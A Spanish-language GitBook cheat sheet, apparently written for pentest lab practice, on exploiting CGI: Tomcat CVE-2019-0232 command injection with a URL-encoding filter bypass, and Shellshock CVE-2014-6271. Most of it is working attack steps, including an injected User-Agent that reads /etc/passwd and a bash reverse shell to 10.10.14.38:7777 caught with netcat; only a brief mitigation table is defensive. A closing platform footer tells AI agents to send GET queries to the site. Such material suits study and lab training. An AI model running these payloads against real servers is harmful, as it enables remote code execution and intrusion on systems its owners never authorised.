> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/common-gateway-interface-cgi.md).

# Common Gateway Interface (CGI)

## Tomcat — Attacking CGI (CVE-2019-0232)

**CVE-2019-0232** es un RCE crítico en **Windows** con la feature **`enableCmdLineArguments`** habilitada. Un error de validación de input en el **CGI Servlet** de Tomcat permite **command injection**.

> Afecta Tomcat 9.0.0.M1–9.0.17, 8.5.0–8.5.39, 7.0.0–7.0.93.

#### El CGI Servlet

Permite a Tomcat comunicarse con apps externas (scripts CGI en Perl, Python, Bash) fuera de la JVM. Recibe requests del navegador y las reenvía a los scripts.

| Ventajas                           | Desventajas                                         |
| ---------------------------------- | --------------------------------------------------- |
| Simple para contenido dinámico.    | Overhead: carga el programa en memoria por request. |
| Cualquier lenguaje (stdin/stdout). | No cachea datos entre requests.                     |
| Reutiliza código existente.        | Reduce el rendimiento del servidor.                 |

#### La causa raíz

`enableCmdLineArguments` hace que el CGI Servlet convierta el **query string** en argumentos de línea de comandos para el script. En Windows, **no valida** correctamente el input → command injection: se puede añadir un comando con `&` como separador.

> Ej: `http://example.com/cgi-bin/hello.bat?&dir` pasa `&dir` a `hello.bat` → ejecuta `dir`.

### 1. Enumeración

#### Nmap

```bash
nmap -p- -sC -Pn 10.129.204.227 --open
# 8080/tcp open http-proxy  Apache Tomcat/9.0.17
# 8009/tcp open ajp13
```

> Tomcat **9.0.17** → dentro del rango vulnerable.

#### Encontrar el script CGI (ffuf)

El directorio default de CGI es `/cgi`. Fuzzear por extensión (Windows → `.bat`):

```bash
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat
# [Status: 200] FUZZ: welcome
```

| Elemento         | Descripción                                         |
| ---------------- | --------------------------------------------------- |
| `/cgi/FUZZ.bat`  | Directorio CGI + fuzz de nombre + extensión `.bat`. |
| `.cmd` vs `.bat` | Probar ambas; aquí `.bat` encontró `welcome.bat`.   |

Verificar:

```
http://10.129.204.227:8080/cgi/welcome.bat
# Welcome to CGI, this section is not functional yet...
```

***

### 2. Explotación

#### Inyectar con `&`

```
http://10.129.204.227:8080/cgi/welcome.bat?&dir
```

> `dir` se ejecuta. Pero `whoami` (sin ruta) **falla**.

#### Diagnóstico — leer variables de entorno

```
http://10.129.204.227:8080/cgi/welcome.bat?&set
```

> Revela que la variable **`PATH` está desactivada** → hay que usar **rutas absolutas** a los binarios.

#### Rutas hardcodeadas

```
http://10.129.204.227:8080/cgi/welcome.bat?&c:\windows\system32\whoami.exe
```

> ❌ Falla: Tomcat parcheó con un regex que bloquea caracteres especiales.

#### Bypass — URL-encoding

URL-encodear el payload salta el filtro de caracteres:

```
http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
```

| Encoding | Carácter |
| -------- | -------- |
| `%3A`    | `:`      |
| `%5C`    | `\`      |

> `c:\windows\system32\whoami.exe` URL-encoded → ejecuta.

### Resumen rápido

| Paso             | Acción                                                   |
| ---------------- | -------------------------------------------------------- |
| 1. Detectar      | Nmap → Tomcat vulnerable (≤ 9.0.17) en Windows.          |
| 2. Encontrar CGI | ffuf en `/cgi/FUZZ.bat` → `welcome.bat`.                 |
| 3. Inyectar      | `?&dir` (separador `&`).                                 |
| 4. Diagnosticar  | `?&set` → PATH desactivado → rutas absolutas.            |
| 5. Bypass        | URL-encodear (`%3A` `%5C`) el binario con ruta completa. |

> Claves: `&` para inyectar (como en CMD de Windows — conecta con tu módulo de Command Injection), rutas **absolutas** porque el PATH está desactivado, y **URL-encoding** para saltar el filtro de caracteres del parche de Tomcat.

## CGI — Shellshock (CVE-2014-6271)

Un **CGI (Common Gateway Interface)** ayuda al web server a renderizar páginas dinámicas y actuar como middleware entre el servidor, bases de datos y otras fuentes. Los scripts CGI viven en `/cgi-bin` (C, C++, Java, Perl...) y corren en el **contexto de seguridad del web server**.

> Superado por tecnologías más rápidas y seguras, pero aún aparece — sobre todo en **dispositivos embebidos/IoT**.

#### Shellshock

**CVE-2014-6271** (2014), en **GNU Bash ≤ 4.3**. Bash guarda mal las variables de entorno: permite **ejecutar comandos** anexados tras una definición de función almacenada en una variable de entorno.

```bash
env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
```

| Parte                          | Qué hace                                                                      |
| ------------------------------ | ----------------------------------------------------------------------------- |
| `y='() { :;};'`                | Bash lo interpreta como **definición de función** de `y`.                     |
| `; echo vulnerable-shellshock` | Comando anexado que **se ejecuta** al importar la función (si es vulnerable). |

> Vulnerable → imprime `vulnerable-shellshock`. Parcheado → solo `not vulnerable` (Bash ya no ejecuta código tras la definición; las funciones deben prefijarse con `BASH_FUNC_`).

> El comando corre como el usuario del web server (normalmente `www-data`; con suerte `root`).

### 1. Enumeración (Gobuster)

Buscar scripts CGI:

```bash
gobuster dir -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
# /access.cgi (Status: 200)
```

| Flag     | Descripción                           |
| -------- | ------------------------------------- |
| `-x cgi` | Añade la extensión `.cgi` al fuzzing. |

Verificar (aunque no devuelva output, vale la pena seguir):

```bash
curl -i http://10.129.204.231/cgi-bin/access.cgi
# HTTP/1.1 200 OK ... Content-Length: 0
```

### 2. Confirmar la vulnerabilidad

Inyectar el payload Shellshock en el header **User-Agent** (los headers HTTP se pasan como variables de entorno al CGI):

```bash
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.204.231/cgi-bin/access.cgi
# root:x:0:0:root:/root:/bin/bash ...
```

| Parte                  | Descripción                                             |
| ---------------------- | ------------------------------------------------------- |
| `() { :; };`           | La definición de función que gatilla el bug.            |
| `echo ; echo ;`        | Líneas en blanco para separar la salida de los headers. |
| `/bin/cat /etc/passwd` | El comando inyectado.                                   |

> Si devuelve `/etc/passwd` → confirmado vía el User-Agent.

### 3. Reverse Shell

```bash
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
```

```bash
sudo nc -lvnp 7777
# connect... 
# www-data@htb:/usr/lib/cgi-bin$ id
# uid=33(www-data) gid=33(www-data)
```

> Shell como `www-data`. Desde aquí: buscar datos sensibles, escalar privilegios, o pivotar a la red interna.

### Mitigación

| Medida                          | Detalle                                                                       |
| ------------------------------- | ----------------------------------------------------------------------------- |
| **Actualizar Bash**             | La solución real (más difícil en sistemas EOL).                               |
| Si no se puede actualizar (IoT) | No exponerlo a internet; evaluar decomisionar; firewall como parche temporal. |

> El firewall es solo un "bandaid" — lo correcto es actualizar o retirar el host.

### Resumen rápido

| Paso         | Acción                                           |
| ------------ | ------------------------------------------------ |
| 1. Enumerar  | Gobuster en `/cgi-bin/` `-x cgi` → `access.cgi`. |
| 2. Confirmar | `User-Agent: () { :; }; /bin/cat /etc/passwd`.   |
| 3. Explotar  | User-Agent con reverse shell bash.               |

> Shellshock inyecta comandos vía **headers HTTP** (típicamente User-Agent) que el CGI pasa como variables de entorno a un Bash vulnerable. Casi una década de antigüedad, pero sigue apareciendo en **IoT/embebidos** → foothold simple. Corre como el usuario del web server (`www-data`, a veces `root`).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/cheatsheets/attacking-common-applications/common-gateway-interface-cgi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
